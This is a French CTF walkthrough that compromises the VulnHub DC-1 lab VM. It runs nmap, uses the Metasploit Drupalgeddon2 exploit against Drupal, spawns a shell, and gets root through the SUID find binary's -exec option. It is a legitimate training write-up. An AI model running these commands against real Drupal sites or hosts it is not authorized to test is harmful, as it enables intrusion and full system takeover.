DC-1 ~ VulnHub
Au programme aujourd’hui un CTF Beginner avec la VM DC-1 disponible sur VulnHub.com. Alors on nous dit qu’il y a plusieurs chemins pour accéder au compte root, qu’il y a 5 flags et que le graal reste de décrocher le flag root. Dans cet article, nous allons chercher avant tout le flag « root ».
On nous indique que le DHCP est activé. La première chose à faire va être de déterminer son adresse IP via netdiscover. La VM se trouve en 192.168.1.84.
Scanning :
On va lancer un Nmap pour déterminer les ports ouverts sur la VM
nmap -A 192.168.1.84
Les ports 22 (SSH) , 80 (HTTP) et 111 (RPC) sont ouverts et on note qu’il y a la présence d’un CMS Drupal.
Enumération :
On accède via firefox à 192.168.1.84
On arrive effectivement sur une page Drupal avec le formulaire de connexion. On continue la pêche aux informations et on regarde s’il y a moyen d’exploiter Drupal.
searchsploit drupal
Exploitation :
On va essayer d’exploiter la vulnérabilité Drupalgeddon2 via MetaSploit
msfconsole
use exploit/unix/webapp/drupal_drupalgeddon2
set rhosts 192.168.1.84
run
Ca y est, on a ouvert un accès à la machine. Une petite vérification et on lance un shell.
sysinfo
shell
python -c ‘import pty; pty.spawn(“/bin/bash”)’
Escalade de privilèges :
On arrive maintenant à la phase d’escalade de privilège où vous devez trouver un moyen d’ouvrir un accès root. J’ai trouvé une page intéressante lisant des commandes utiles :
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
Donc voici une commande pour lister les commandes qui ont le bit SUID activé (chmod 4000) et qui pourront être exécuté en utilisateur « root ».
find / -perm -u=s -type f 2>/dev/null
On voit que la commande sudo n’est pas disponible. Par contre, la commande find a le bit SUID activé et on va partir dans cette direction pour l’escalade de privilège.
find –help
La commande find dispose d’une option « exec » qui va être très utile dans notre cas.
which find
ls -la /usr/bin/find
cd /tmp
touch toto
find toto -exec “whoami” \;
On peut donc lancer des commandes qui seront exécutés en root. Du coup, on lance un bash.
find toto -exec “/bin/sh” \;
Et voilà, nous avons un shell en root.
id
cd /root
ls
cat thefinalflag.txt